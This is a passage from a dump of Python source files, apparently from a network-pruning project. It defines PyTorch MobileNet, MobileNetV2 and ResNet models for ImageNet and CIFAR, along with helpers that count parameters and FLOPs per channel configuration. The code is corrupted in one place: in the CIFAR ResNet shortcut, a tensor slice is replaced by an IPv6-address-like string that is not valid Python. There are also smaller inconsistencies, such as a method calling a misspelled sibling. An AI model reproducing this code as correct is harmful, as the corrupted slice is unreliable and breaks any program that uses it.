x):\n if self.use_res_connect:\n return x + self.conv(x)\n else:\n return self.conv(x)\n\nclass MobileNetV2(MyNetwork):\n def __init__(self, cfg=None, num_classes=1000, dropout=0.2):\n super(MobileNetV2, self).__init__()\n block = InvertedResidual\n if cfg==None:\n cfg = [32, 16, 24, 32, 64, 96, 160, 320]\n input_channel = cfg[0]\n interverted_residual_setting = [\n # t, c, n, s\n [1, cfg[1], 1, 1],\n [6, cfg[2], 2, 2],\n [6, cfg[3], 3, 2],\n [6, cfg[4], 4, 2],\n [6, cfg[5], 3, 1],\n [6, cfg[6], 3, 2],\n [6, cfg[7], 1, 1],\n ]\n\n # building first layer\n # input_channel = int(input_channel * width_mult)\n self.cfg = cfg\n self.cfgs_base = [32, 16, 24, 32, 64, 96, 160, 320]\n self.dropout = dropout\n self.last_channel = 1280\n self.num_classes = num_classes\n self.features = [conv_bn(3, input_channel, 2)]\n self.interverted_residual_setting = interverted_residual_setting\n # building inverted residual blocks\n for t, c, n, s in interverted_residual_setting:\n output_channel = c\n for i in range(n):\n if i == 0:\n self.features.append(block(input_channel, output_channel, s, expand_ratio=t))\n else:\n self.features.append(block(input_channel, output_channel, 1, expand_ratio=t))\n input_channel = output_channel\n # building last several layers\n self.features.append(conv_1x1_bn(input_channel, self.last_channel))\n # make it nn.Sequential\n self.features = nn.Sequential(*self.features)\n\n # building classifier\n self.classifier = nn.Sequential(\n # nn.Dropout(self.dropout),\n nn.Linear(self.last_channel, num_classes),\n )\n\n def cfg2params(self, cfg):\n params = 0.\n params += (3 * 3 * 3 * cfg[0] + 2 * cfg[0]) # first layer\n input_channel = cfg[0]\n for t, c, n, s in self.interverted_residual_setting:\n output_channel = c\n for i in range(n):\n hidden_dim = round(input_channel * t)\n if i == 0:\n # self.features.append(block(input_channel, output_channel, s, expand_ratio=t))\n if t==1:\n params += (3 * 3 * hidden_dim + 2 * hidden_dim)\n params += (1 * 1 * hidden_dim * output_channel + 2 * output_channel)\n else:\n params += (1 * 1 * input_channel * hidden_dim + 2 * hidden_dim)\n params += (3 * 3 * hidden_dim + 2 * hidden_dim)\n params += (1 * 1 * hidden_dim * output_channel + 2 * output_channel)\n else:\n # self.features.append(block(input_channel, output_channel, 1, expand_ratio=t))\n if t==1:\n params += (3 * 3 * hidden_dim + 2 * hidden_dim)\n params += (1 * 1 * hidden_dim * output_channel + 2 * output_channel)\n else:\n params += (1 * 1 * input_channel * hidden_dim + 2 * hidden_dim)\n params += (3 * 3 * hidden_dim + 2 * hidden_dim)\n params += (1 * 1 * hidden_dim * output_channel + 2 * output_channel)\n input_channel = output_channel\n params += (1 * 1 * input_channel * self.last_channel + 2 * self.last_channel) # final 1x1 conv\n params += ((self.last_channel + 1) * self.num_classes) # fc layer\n return params\n\n def cfg2flops(self, cfg): # to simplify, only count convolution flops\n interverted_residual_setting = [\n # t, c, n, s\n [1, cfg[1], 1, 1],\n [6, cfg[2], 2, 2],\n [6, cfg[3], 3, 2],\n [6, cfg[4], 4, 2],\n [6, cfg[5], 3, 1],\n [6, cfg[6], 3, 2],\n [6, cfg[7], 1, 1],\n ]\n size = 224\n flops = 0.\n size = size//2\n flops += (3 * 3 * 3 * cfg[0] + 0 * cfg[0]) * size * size # first layer\n input_channel = cfg[0]\n for t, c, n, s in interverted_residual_setting:\n output_channel = c\n for i in range(n):\n hidden_dim = round(input_channel * t)\n if i == 0:\n if s==2:\n size = size//2\n # self.features.append(block(input_channel, output_channel, s, expand_ratio=t))\n if t==1:\n flops += (3 * 3 * hidden_dim + 0 * hidden_dim) * size * size\n flops += (1 * 1 * hidden_dim * output_channel + 0 * output_channel) * size * size\n else:\n size = size * s\n flops += (1 * 1 * input_channel * hidden_dim + 0 * hidden_dim) * size * size\n size = size // s\n flops += (3 * 3 * hidden_dim + 0 * hidden_dim) * size * size\n flops += (1 * 1 * hidden_dim * output_channel + 0 * output_channel) * size * size\n else:\n # self.features.append(block(input_channel, output_channel, 1, expand_ratio=t))\n if t==1:\n flops += (3 * 3 * hidden_dim + 0 * hidden_dim) * size * size\n flops += (1 * 1 * hidden_dim * output_channel + 0 * output_channel) * size * size\n else:\n flops += (1 * 1 * input_channel * hidden_dim + 0 * hidden_dim) * size * size\n flops += (3 * 3 * hidden_dim + 0 * hidden_dim) * size * size\n flops += (1 * 1 * hidden_dim * output_channel + 0 * output_channel) * size * size\n input_channel = output_channel\n flops += (1 * 1 * input_channel * self.last_channel + 0 * self.last_channel) * size * size # final 1x1 conv\n flops += ((2 * self.last_channel - 1) * self.num_classes) # fc layer\n return flops\n\n def cfg2flops_perlayer(self, cfg, length): # to simplify, only count convolution flops\n interverted_residual_setting = [\n # t, c, n, s\n [1, cfg[1], 1, 1],\n [6, cfg[2], 2, 2],\n [6, cfg[3], 3, 2],\n [6, cfg[4], 4, 2],\n [6, cfg[5], 3, 1],\n [6, cfg[6], 3, 2],\n [6, cfg[7], 1, 1],\n ]\n size = 224\n flops_singlecfg = [0 for j in range(length)]\n flops_doublecfg = np.zeros((length, length))\n flops_squarecfg = [0 for j in range(length)]\n size = size//2\n flops_singlecfg[0] += (3 * 3 * 3 * cfg[0] + 0 * cfg[0]) * size * size # first layer\n input_channel = cfg[0]\n count = 0\n for t, c, n, s in interverted_residual_setting:\n output_channel = c\n for i in range(n):\n hidden_dim = round(input_channel * t)\n if i == 0:\n if s==2:\n size = size//2\n # self.features.append(block(input_channel, output_channel, s, expand_ratio=t))\n if t==1:\n flops_singlecfg[count] += (3 * 3 * hidden_dim + 0 * hidden_dim) * size * size\n flops_doublecfg[count+1][count] += (1 * 1 * hidden_dim * output_channel + 0 * output_channel) * size * size\n flops_doublecfg[count][count+1] += (1 * 1 * hidden_dim * output_channel + 0 * output_channel) * size * size\n else:\n size = size * s\n flops_squarecfg[count] += (1 * 1 * input_channel * hidden_dim + 0 * hidden_dim) * size * size\n size = size // s\n flops_singlecfg[count] += (3 * 3 * hidden_dim + 0 * hidden_dim) * size * size\n flops_doublecfg[count][count+1] += (1 * 1 * hidden_dim * output_channel + 0 * output_channel) * size * size\n flops_doublecfg[count+1][count] += (1 * 1 * hidden_dim * output_channel + 0 * output_channel) * size * size\n else:\n # self.features.append(block(input_channel, output_channel, 1, expand_ratio=t))\n if t==1:\n flops_singlecfg[count+1] += (3 * 3 * hidden_dim + 0 * hidden_dim) * size * size\n flops_squarecfg[count+1] += (1 * 1 * hidden_dim * output_channel + 0 * output_channel) * size * size\n else:\n flops_squarecfg[count+1] += (1 * 1 * input_channel * hidden_dim + 0 * hidden_dim) * size * size\n flops_singlecfg[count+1] += (3 * 3 * hidden_dim + 0 * hidden_dim) * size * size\n flops_squarecfg[count+1] += (1 * 1 * hidden_dim * output_channel + 0 * output_channel) * size * size\n input_channel = output_channel\n count += 1\n flops_singlecfg[count] += (1 * 1 * input_channel * self.last_channel + 0 * self.last_channel) * size * size # final 1x1 conv\n\n return flops_singlecfg, flops_doublecfg, flops_squarecfg\n\n def get_flops(self, x):\n return self.cfg2flops(cfg=self.cfg)\n\n def get_params(self):\n return self.cfg2param(self.cfg)\n\n def forward(self, x):\n x = self.features(x)\n x = x.mean(3).mean(2)\n x = self.classifier(x)\n return x\n\n def feature_extract(self, x):\n tensor = []\n count = 0\n for _layer in self.features:\n x = _layer(x)\n if type(_layer) is InvertedResidual:\n count += 1\n if count in [1,3,6,10,13,16,17]:\n tensor.append(x)\n return tensor\n\n @property\n def config(self):\n return {\n 'name': self.__class__.__name__,\n 'cfg': self.cfg,\n 'cfg_base': self.cfgs_base,\n 'dataset': 'ImageNet',\n }\n\n\nclass MobileNet(MyNetwork):\n def __init__(self, cfg=None, num_classes=1000):\n super(MobileNet, self).__init__()\n if cfg==None:\n cfg = [32, 64, 128, 128, 256, 256, 512, 512, 512, 512, 512, 512, 1024, 1024]\n self.cfg = cfg\n self.cfgs_base = [32, 64, 128, 128, 256, 256, 512, 512, 512, 512, 512, 512, 1024, 1024]\n self._cfg = [cfg[1], (cfg[2], 2), cfg[3], (cfg[4], 2), cfg[5], (cfg[6], 2),\\\n cfg[7], cfg[8], cfg[9], cfg[10], cfg[11], (cfg[12], 2), cfg[13]]\n in_planes = cfg[0]\n self.conv1 = conv_bn(3, in_planes, stride=2)\n self.num_classes = num_classes\n self.features = self._make_layers(in_planes, self._cfg, conv_dw)\n self.classifier = nn.Sequential(\n nn.Linear(cfg[-1], num_classes),\n )\n\n def forward(self, x):\n x = self.conv1(x)\n x = self.features(x)\n x = x.mean(3).mean(2) # global average pooling\n x = self.classifier(x)\n return x\n\n def _make_layers(self, in_planes, cfg, layer):\n layers = []\n for x in cfg:\n out_planes = x if isinstance(x, int) else x[0]\n stride = 1 if isinstance(x, int) else x[1]\n layers.append(layer(in_planes, out_planes, stride))\n in_planes = out_planes\n return nn.Sequential(*layers)\n\n def cfg2param(self, cfg):\n params = 0.\n params += (3 * 3 * 3 * cfg[0] + 2 * cfg[0]) # first layer\n in_c = cfg[0]\n for i in range(1, len(cfg)):\n out_c = cfg[i]\n params += (3 * 3 * in_c + 2 * in_c + 1 * 1 * in_c * out_c + 2 * out_c)\n in_c = out_c\n params += ((out_c + 1) * self.num_classes) # fc layer\n return params\n\n def cfg2flops(self, cfg): # to simplify, only count convolution flops\n size = 224\n flops = 0.\n size = size//2\n flops += (3 * 3 * 3 * cfg[0] + 0 * cfg[0]) * size * size # first layer\n in_c = cfg[0]\n for i in range(1, len(cfg)):\n if i in [2, 4, 6, 12]:\n size = size//2\n out_c = cfg[i]\n flops += (3 * 3 * in_c + 0 * in_c + 1 * 1 * in_c * out_c + 0 * out_c) * size * size\n in_c = out_c\n flops += ((2 * out_c - 1) * self.num_classes) # fc layer\n return flops\n def cfg2flops_perlayer(self, cfg, length): # to simplify, only count convolution flops\n size = 224\n flops_singlecfg = [0 for j in range(length)]\n flops_doublecfg = np.zeros((length, length))\n flops_squarecfg = [0 for j in range(length)]\n size = size//2\n flops_singlecfg[0] += (3 * 3 * 3 * cfg[0] + 0 * cfg[0]) * size * size # first layer\n in_c = cfg[0]\n for i in range(1, len(cfg)):\n if i in [2, 4, 6, 12]:\n size = size//2\n out_c = cfg[i]\n flops_singlecfg[i-1] += 3 * 3 * in_c * size * size\n flops_doublecfg[i-1][i] += 1 * 1 * in_c * out_c * size * size\n flops_doublecfg[i][i-1] += 1 * 1 * in_c * out_c * size * size\n in_c = out_c\n flops_singlecfg[length-1] += 2 * out_c * self.num_classes # fc layer\n return flops_singlecfg, flops_doublecfg, flops_squarecfg\n\n def feature_extract(self, x):\n tensor = []\n x = self.conv1(x)\n for _layer in self.features:\n x = _layer(x)\n if type(_layer) is nn.Sequential:\n tensor.append(x)\n x = x.mean(3).mean(2) # global average pooling\n x = self.classifier(x)\n tensor.append(x)\n\n return tensor\n\n @property\n def config(self):\n return {\n 'name': self.__class__.__name__,\n 'cfg': self.cfg,\n 'cfg_base': self.cfgs_base,\n 'dataset': 'ImageNet',\n }", "id": "4641689", "language": "Python", "matching_score": 2.076261043548584, "max_stars_count": 8, "path": "nets/mobilenet_imagenet.py" }, { "content": "import torch.nn as nn\nimport torch.utils.model_zoo as model_zoo\nfrom nets.base_models import *\nfrom collections import OrderedDict\n\ndef conv3x3(in_planes, out_planes, stride=1, groups=1, padding=1):\n return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride, padding=padding, bias=False)\n\ndef conv1x1(in_planes, out_planes, stride=1):\n return nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False)\n\n\nclass BasicBlock(nn.Module):\n def __init__(self, inplanes, planes_1, planes_2=0, stride=1, downsample=None, norm_layer=None):\n super(BasicBlock, self).__init__()\n if norm_layer is None:\n norm_layer = nn.BatchNorm2d\n conv1 = conv3x3(inplanes, planes_1, stride)\n bn1 = norm_layer(planes_1)\n relu = nn.ReLU(inplace=True)\n if planes_2 == 0:\n conv2 = conv3x3(planes_1, inplanes)\n bn2 = norm_layer(inplanes)\n else:\n conv2 = conv3x3(planes_1, planes_2)\n bn2 = norm_layer(planes_2)\n self.relu = relu\n self.conv1 = nn.Sequential(OrderedDict([('conv', conv1), ('bn', bn1), ('relu', relu)]))\n self.conv2 = nn.Sequential(OrderedDict([('conv', conv2), ('bn', bn2)]))\n self.downsample = downsample\n self.stride = stride\n\n def forward(self, x):\n identity = x\n out = self.conv1(x)\n out = self.conv2(out)\n if self.downsample is not None:\n identity = self.downsample(x)\n out += identity\n out = self.relu(out)\n\n return out\n\n\nclass Bottleneck(nn.Module):\n def __init__(self, inplanes, planes_1, planes_2, planes_3=0, stride=1, downsample=None, norm_layer=None):\n super(Bottleneck, self).__init__()\n if norm_layer is None:\n norm_layer = nn.BatchNorm2d\n conv1 = conv1x1(inplanes, planes_1)\n bn1 = norm_layer(planes_1)\n conv2 = conv3x3(planes_1, planes_2, stride)\n bn2 = norm_layer(planes_2)\n if planes_3 == 0:\n conv3 = conv1x1(planes_2, inplanes)\n bn3 = norm_layer(inplanes)\n else:\n conv3 = conv1x1(planes_2, planes_3)\n bn3 = norm_layer(planes_3)\n relu = nn.ReLU(inplace=True)\n self.relu = relu\n self.conv1 = nn.Sequential(OrderedDict([('conv', conv1), ('bn', bn1), ('relu', relu)]))\n self.conv2 = nn.Sequential(OrderedDict([('conv', conv2), ('bn', bn2), ('relu', relu)]))\n self.conv3 = nn.Sequential(OrderedDict([('conv', conv3), ('bn', bn3)]))\n self.downsample = downsample\n self.stride = stride\n\n def forward(self, x):\n identity = x\n out = self.conv1(x)\n out = self.conv2(out)\n out = self.conv3(out)\n if self.downsample is not None:\n identity = self.downsample(x)\n out += identity\n out = self.relu(out)\n return out\n\n\nclass ResNet_ImageNet(MyNetwork):\n def __init__(self, cfg=None, depth=18, block=BasicBlock, num_classes=1000):\n super(ResNet_ImageNet, self).__init__()\n self.cfgs_base = {18: [64, 64, 64, 64, 128, 128, 128, 256, 256, 256, 512, 512, 512],\n 34: [64, 64, 64, 64, 64, 128, 128, 128, 128, 128, 256, 256, 256, 256, 256, 256, 256, 512, 512, 512, 512],\n 50: [64, 64, 64, 256, 64, 64, 64, 64, 128, 128, 512, 128, 128, 128, 128, 128, 128, 256, 256, 1024, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 512, 512, 2048, 512, 512, 512, 512]}\n if depth==18:\n block = BasicBlock\n blocks = [2, 2, 2, 2]\n _cfg = self.cfgs_base[18]\n elif depth==34:\n block = BasicBlock\n blocks = [3, 4, 6, 3]\n _cfg = self.cfgs_base[34]\n elif depth==50:\n block = Bottleneck\n blocks = [3, 4, 6, 3]\n _cfg = self.cfgs_base[50]\n if cfg == None:\n cfg = _cfg\n norm_layer = nn.BatchNorm2d\n self.num_classes = num_classes\n self._norm_layer = norm_layer\n self.depth = depth\n self.cfg = cfg\n self.inplanes = cfg[0]\n self.blocks = blocks\n self.conv1 = nn.Sequential(OrderedDict([('conv', nn.Conv2d(3, self.inplanes, kernel_size=7, stride=2, padding=3, bias=False)),\n ('bn', norm_layer(self.inplanes)),\n ('relu', nn.ReLU(inplace=True))]))\n self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)\n if depth!=50:\n self.layer1 = self._make_layer(block, cfg[1 : blocks[0]+2], blocks[0])\n self.layer2 = self._make_layer(block, cfg[blocks[0]+2 : blocks[0]+2+blocks[1]+1], blocks[1], stride=2,)\n self.layer3 = self._make_layer(block, cfg[blocks[0]+blocks[1]+3 : blocks[0]+blocks[1]+blocks[2]+4], blocks[2], stride=2,)\n self.layer4 = self._make_layer(block, cfg[blocks[0]+blocks[1]+blocks[2]+4: ], blocks[3], stride=2,)\n self.fc = nn.Linear(cfg[blocks[0]+blocks[1]+blocks[2]+5], num_classes)\n else:\n self.layer1 = self._make_layer(block, cfg[1 : 2*blocks[0]+2], blocks[0])\n self.layer2 = self._make_layer(block, cfg[2*blocks[0]+2 : 2*blocks[0]+2+2*blocks[1]+1], blocks[1], stride=2,)\n self.layer3 = self._make_layer(block, cfg[2*blocks[0]+2*blocks[1]+3 : 2*blocks[0]+2*blocks[1]+2*blocks[2]+4], blocks[2], stride=2,)\n self.layer4 = self._make_layer(block, cfg[2*blocks[0]+2*blocks[1]+2*blocks[2]+4: ], blocks[3], stride=2,)\n self.fc = nn.Linear(cfg[2*blocks[0]+2*blocks[1]+2*blocks[2]+6], num_classes)\n self.avgpool = nn.AdaptiveAvgPool2d((1, 1))\n\n def _make_layer(self, block, planes, blocks, stride=1):\n norm_layer = self._norm_layer\n downsample = None\n if self.depth == 50:\n first_planes = planes[0:3]\n # downsample at each 1'st layer, for pruning\n downsample = nn.Sequential(OrderedDict([('conv', conv1x1(self.inplanes, first_planes[-1], stride)),\n ('bn', norm_layer(first_planes[-1]))]))\n layers = []\n layers.append(block(self.inplanes, first_planes[0], first_planes[1], first_planes[2], stride, downsample, norm_layer))\n self.inplanes = first_planes[-1]\n later_planes = planes[3:3+2*(blocks-1)]\n for i in range(1, blocks):\n layers.append(block(self.inplanes, later_planes[2*(i-1)], later_planes[2*(i-1)+1], norm_layer=norm_layer))\n return nn.Sequential(*layers)\n else:\n first_planes = planes[0:2]\n # downsample at each 1'st layer, for pruning\n downsample = nn.Sequential(OrderedDict([('conv', conv1x1(self.inplanes, first_planes[-1], stride)),\n ('bn', norm_layer(first_planes[-1]))]))\n layers = []\n layers.append(block(self.inplanes, first_planes[0], first_planes[1], stride, downsample, norm_layer))\n self.inplanes = first_planes[-1]\n later_planes = planes[2:2+blocks-1]\n for i in range(1, blocks):\n layers.append(block(self.inplanes, later_planes[i-1], norm_layer=norm_layer))\n return nn.Sequential(*layers)\n\n def cfg2params(self, cfg):\n blocks = self.blocks\n params = 0.\n params += (3 * 7 * 7 * cfg[0] + 2 * cfg[0]) # first layer\n inplanes = cfg[0]\n if self.depth != 50:\n sub_cfgs = [cfg[1 : blocks[0]+2],\n cfg[blocks[0]+2 : blocks[0]+2+blocks[1]+1], \n cfg[blocks[0]+blocks[1]+3 : blocks[0]+blocks[1]+blocks[2]+4],\n cfg[blocks[0]+blocks[1]+blocks[2]+4: ]]\n else:\n sub_cfgs = [cfg[1 : 2*blocks[0]+2],\n cfg[2*blocks[0]+2 : 2*blocks[0]+2+2*blocks[1]+1],\n cfg[2*blocks[0]+2*blocks[1]+3 : 2*blocks[0]+2*blocks[1]+2*blocks[2]+4],\n cfg[2*blocks[0]+2*blocks[1]+2*blocks[2]+4: ]]\n for i in range(4):\n planes = sub_cfgs[i]\n if self.depth != 50:\n first_planes = planes[0:2]\n later_planes = planes[2:2+blocks[i]-1]\n else:\n first_planes = planes[0:3]\n later_planes = planes[3:3+2*(blocks[i]-1)]\n params += (inplanes * 1 * 1 * first_planes[-1] + 2 * first_planes[-1]) # downsample layer\n if self.depth != 50:\n params += (inplanes * 3 * 3 * first_planes[0] + 2 * first_planes[0])\n params += (first_planes[0] * 3 * 3 * first_planes[1] + 2 * first_planes[1])\n else:\n params += (inplanes * 1 * 1 * first_planes[0] + 2 * first_planes[0])\n params += (first_planes[0] * 3 * 3 * first_planes[1] + 2 * first_planes[1])\n params += (first_planes[1] * 1 * 1 * first_planes[2] + 2 * first_planes[2])\n for j in range(1, self.blocks[i]):\n inplanes = first_planes[-1]\n if self.depth != 50:\n params += (inplanes * 3 * 3 * later_planes[j-1] + 2 * later_planes[j-1])\n params += (later_planes[j-1] * 3 * 3 * inplanes + 2 * inplanes)\n else:\n params += (inplanes * 1 * 1 * later_planes[2*(j-1)] + 2 * later_planes[2*(j-1)])\n params += (later_planes[2*(j-1)] * 3 * 3 * later_planes[2*(j-1)+1] + 2 * later_planes[2*(j-1)+1])\n params += (later_planes[2*(j-1)+1] * 1 * 1 * inplanes + 2 * inplanes)\n if self.depth==50:\n params += (cfg[2*blocks[0]+2*blocks[1]+2*blocks[2]+6] + 1) * self.num_classes\n else:\n params += (cfg[blocks[0]+blocks[1]+blocks[2]+5] + 1) * self.num_classes\n return params\n\n def cfg2flops(self, cfg): # to simplify, only count convolution flops\n blocks = self.blocks\n flops = 0.\n size = 224\n size /= 2 # first conv layer s=2\n flops += (3 * 7 * 7 * cfg[0] * size * size + 5 * cfg[0] * size * size) # first layer, conv+bn+relu\n inplanes = cfg[0]\n size /= 2 # pooling s=2\n flops += (3 * 3 * cfg[0] * size * size) # maxpooling\n if self.depth != 50:\n sub_cfgs = [cfg[1 : blocks[0]+2],\n cfg[blocks[0]+2 : blocks[0]+2+blocks[1]+1], \n cfg[blocks[0]+blocks[1]+3 : blocks[0]+blocks[1]+blocks[2]+4],\n cfg[blocks[0]+blocks[1]+blocks[2]+4: ]]\n else:\n sub_cfgs = [cfg[1 : 2*blocks[0]+2],\n cfg[2*blocks[0]+2 : 2*blocks[0]+2+2*blocks[1]+1],\n cfg[2*blocks[0]+2*blocks[1]+3 : 2*blocks[0]+2*blocks[1]+2*blocks[2]+4],\n cfg[2*blocks[0]+2*blocks[1]+2*blocks[2]+4: ]]\n for i in range(4): # each layer\n planes = sub_cfgs[i]\n if self.depth != 50:\n first_planes = planes[0:2]\n later_planes = planes[2:2+blocks[i]-1]\n else:\n first_planes = planes[0:3]\n later_planes = planes[3:3+2*(blocks[i]-1)]\n if i in [1, 2, 3]:\n size /= 2\n flops += (inplanes * 1 * 1 * first_planes[-1] + 5 * first_planes[-1]) * size * size # downsample layer\n if self.depth != 50:\n flops += (inplanes * 3 * 3 * first_planes[0] + 5 * first_planes[0]) * size * size\n flops += (first_planes[0] * 3 * 3 * first_planes[1] + 5 * first_planes[1]) * size * size\n else:\n size *= 2\n flops += (inplanes * 1 * 1 * first_planes[0] + 5 * first_planes[0]) * size * size\n size /= 2\n flops += (first_planes[0] * 3 * 3 * first_planes[1] + 5 * first_planes[1]) * size * size\n flops += (first_planes[1] * 1 * 1 * first_planes[2] + 5 * first_planes[2]) * size * size\n for j in range(1, self.blocks[i]):\n inplanes = first_planes[-1]\n if self.depth != 50:\n flops += (inplanes * 3 * 3 * later_planes[j-1] + 5 * later_planes[j-1]) * size * size\n flops += (later_planes[j-1] * 3 * 3 * inplanes + 5 * inplanes) * size * size\n else:\n flops += (inplanes * 1 * 1 * later_planes[2*(j-1)] + 5 * later_planes[2*(j-1)]) * size * size\n flops += (later_planes[2*(j-1)] * 3 * 3 * later_planes[2*(j-1)+1] + 5 * later_planes[2*(j-1)+1]) * size * size\n flops += (later_planes[2*(j-1)+1] * 1 * 1 * inplanes + 5 * inplanes) * size * size\n flops += (2 * cfg[-1] + 1) * self.num_classes\n return flops\n\n\n # flops += (inplanes * 1 * 1 * cfg[i+1] * self.expansion * size * size + 5 * cfg[i+1] * self.expansion * size * size) # downsample layer, conv+bn\n # if self.expansion == 1:\n # flops += (inplanes * 3 * 3 * cfg[i+1] + 5 * cfg[i+1]) * size * size # conv+bn+relu\n # flops += (cfg[i+1] * 3 * 3 * cfg[i+1] + 5 * cfg[i+1]) * size * size\n # elif self.expansion == 4:\n # size *= 2\n # flops += (inplanes * 1 * 1 * cfg[i+1] + 5 * cfg[i+1]) * size * size\n # size /= 2\n # flops += (cfg[i+1] * 3 * 3 * cfg[i+1] + 5 * cfg[i+1]) * size * size\n # flops += (cfg[i+1] * 1 * 1 * cfg[i+1] * self.expansion + 5 * cfg[i+1] * self.expansion) * size * size\n # flops += cfg[i+1] * self.expansion * size * size * 2 # relu+add\n # for _ in range(1, self.blocks[i]):\n # inplanes = self.expansion * cfg[i+1]\n # if self.expansion == 1:\n # flops += (inplanes * 3 * 3 * cfg[i+1] + 5 * cfg[i+1]) * size * size\n # flops += (cfg[i+1] * 3 * 3 * cfg[i+1] + 5 * cfg[i+1]) * size * size\n # elif self.expansion == 4:\n # flops += (inplanes * 1 * 1 * cfg[i+1] + 5 * cfg[i+1]) * size * size\n # flops += (cfg[i+1] * 3 * 3 * cfg[i+1] + 5 * cfg[i+1]) * size * size\n # flops += (cfg[i+1] * 1 * 1 * cfg[i+1] * self.expansion + 5 * cfg[i+1] * self.expansion) * size * size\n # flops += cfg[i+1] * self.expansion * size * size * 2\n # flops += (2 * cfg[-1] * self.expansion - 1) * self.num_classes\n # return flops\n\n def forward(self, x):\n x = self.conv1(x)\n x = self.maxpool(x)\n\n x = self.layer1(x)\n x = self.layer2(x)\n x = self.layer3(x)\n x = self.layer4(x)\n\n x = self.avgpool(x)\n x = torch.flatten(x, 1)\n x = self.fc(x)\n\n return x\n\n @property\n def config(self):\n return {\n 'name': self.__class__.__name__,\n 'depth': self.depth,\n 'cfg': self.cfg,\n 'cfg_base': self.cfgs_base[self.depth],\n 'dataset': 'ImageNet',\n }\n\ndef ResNet18():\n return ResNet_ImageNet(depth=18)\n\ndef ResNet34():\n return ResNet_ImageNet(depth=34)\n\ndef ResNet50():\n return ResNet_ImageNet(depth=50)\n", "id": "973172", "language": "Python", "matching_score": 3.9476318359375, "max_stars_count": 8, "path": "nets/resnet_imagenet.py" }, { "content": "from utils import *\nimport torch.nn as nn\nfrom collections import OrderedDict\nimport torch.nn.functional as F\nfrom nets.base_models import *\nimport torch.utils.model_zoo as model_zoo\n\n\nclass LambdaLayer(nn.Module):\n def __init__(self, lambd):\n super(LambdaLayer, self).__init__()\n self.lambd = lambd\n\n def forward(self, x):\n return self.lambd(x)\n\n\nclass BasicBlock(nn.Module):\n expansion = 1\n\n def __init__(self, in_planes, planes, stride=1):\n super(BasicBlock, self).__init__()\n conv1 = nn.Conv2d(in_planes, planes, kernel_size=3, stride=stride, padding=1, bias=False)\n bn1 = nn.BatchNorm2d(planes)\n conv2 = nn.Conv2d(planes, planes, kernel_size=3, stride=1, padding=1, bias=False)\n bn2 = nn.BatchNorm2d(planes)\n\n self.conv_bn1 = nn.Sequential(OrderedDict([('conv', conv1), ('bn', bn1)]))\n self.conv_bn2 = nn.Sequential(OrderedDict([('conv', conv2), ('bn', bn2)]))\n self.shortcut = nn.Sequential()\n if stride != 1 or in_planes != planes:\n if stride!=1:\n self.shortcut = LambdaLayer(\n lambda x: F.pad(x[:, :, fd00:a516:7c1b:17cd:6d81:2137:bd2a:2c5b, ::2],\n (0, 0, 0, 0, (planes-in_planes)//2, planes-in_planes-(planes-in_planes)//2), \"constant\", 0))\n else:\n self.shortcut = LambdaLayer(\n lambda x: F.pad(x[:, :, :, :],\n (0, 0, 0, 0, (planes-in_planes)//2, planes-in_planes-(planes-in_planes)//2), \"constant\", 0))\n\n def forward(self, x):\n out = F.relu(self.conv_bn1(x))\n out = self.conv_bn2(out)\n out += self.shortcut(x)\n out = F.relu(out)\n return out\n\n\nclass ResNet_CIFAR(MyNetwork):\n def __init__(self, depth=20, num_classes=10, cfg=None, cutout=True):\n super(ResNet_CIFAR, self).__init__()\n if cfg is None:\n cfg = [16, 16, 32, 64]\n num_blocks = []\n if depth==20:\n num_blocks = [3, 3, 3]\n elif depth==32:\n num_blocks = [5, 5, 5]\n elif depth==44:\n num_blocks = [7, 7, 7]\n elif depth==56:\n num_blocks = [9, 9, 9]\n elif depth==110:\n num_blocks = [18, 18, 18]\n block = BasicBlock\n self.num_classes = num_classes\n self.num_blocks = num_blocks\n self.cutout = cutout\n self.cfg = cfg\n self.in_planes = 16\n conv1 = nn.Conv2d(3, 16, kernel_size=3, stride=1, padding=1, bias=False)\n bn1 = nn.BatchNorm2d(16)\n self.conv_bn = nn.Sequential(OrderedDict([('conv', conv1), ('bn', bn1)]))\n self.layer1 = self._make_layer(block, cfg[1], num_blocks[0], stride=1)\n self.layer2 = self._make_layer(block, cfg[2], num_blocks[1], stride=2)\n self.layer3 = self._make_layer(block, cfg[3], num_blocks[2], stride=2)\n self.pool = nn.AdaptiveAvgPool2d(1)\n self.linear = nn.Linear(cfg[-1], num_classes)\n\n def _make_layer(self, block, planes, num_blocks, stride):\n strides = [stride] + [1]*(num_blocks-1)\n layers = []\n for i in range(len(strides)):\n layers.append(('block_%d'%i, block(self.in_planes, planes, strides[i])))\n self.in_planes = planes\n return nn.Sequential(OrderedDict(layers))\n\n def forward(self, x):\n if self.training and self.cutout:\n with torch.no_grad():\n x = cutout_batch(x, 16)\n out = F.relu(self.conv_bn(x))\n out = self.layer1(out)\n out = self.layer2(out)\n out = self.layer3(out)\n out = self.pool(out)\n out = out.view(out.size(0), -1)\n out = self.linear(out)\n return out\n\n def cfg2params(self, cfg):\n params = 0\n params += (3 * 3 * 3 * cfg[0] + cfg[0] * 2) # conv1+bn1\n in_c = cfg[0]\n cfg_idx = 1\n for i in range(3):\n num_blocks = self.num_blocks[i]\n for j in range(num_blocks):\n c = cfg[cfg_idx]\n params += (in_c * 3 * 3 * c + 2 * c + c * 3 * 3 * c + 2 * c) # per block params\n if in_c != c:\n params += in_c * c # shortcut\n in_c = c\n cfg_idx += 1\n params += (self.cfg[-1] + 1) * self.num_classes # fc layer\n return params\n\n def cfg2flops(self, cfg): # to simplify, only count convolution flops\n size = 32\n flops = 0\n flops += (3 * 3 * 3 * cfg[0] * 32 * 32 + cfg[0] * 32 * 32 * 4) # conv1+bn1\n in_c = cfg[0]\n cfg_idx = 1\n for i in range(3):\n num_blocks = self.num_blocks[i]\n if i==1 or i==2:\n size = size // 2\n for j in range(num_blocks):\n c = cfg[cfg_idx]\n flops += (in_c * 3 * 3 * c * size * size + c * size * size * 4 + c * 3 * 3 * c * size * size + c * size * size * 4) # per block flops\n if in_c != c:\n flops += in_c * c * size * size # shortcut\n in_c = c\n cfg_idx += 1\n flops += (2 * self.cfg[-1] + 1) * self.num_classes # fc layer\n return flops\n\n @property\n def config(self):\n return {\n 'name': self.__class__.__name__,\n 'cfg': self.cfg,\n 'cfg_base': [16, 16, 32, 64],\n 'dataset': 'cifar10',\n }\n", "id": "3960891", "language": "Python", "matching_score": 0.22259430587291718, "max_stars_count": 8, "path": "imagenet/nets/resnet_cifar.py" }, { "content": "from 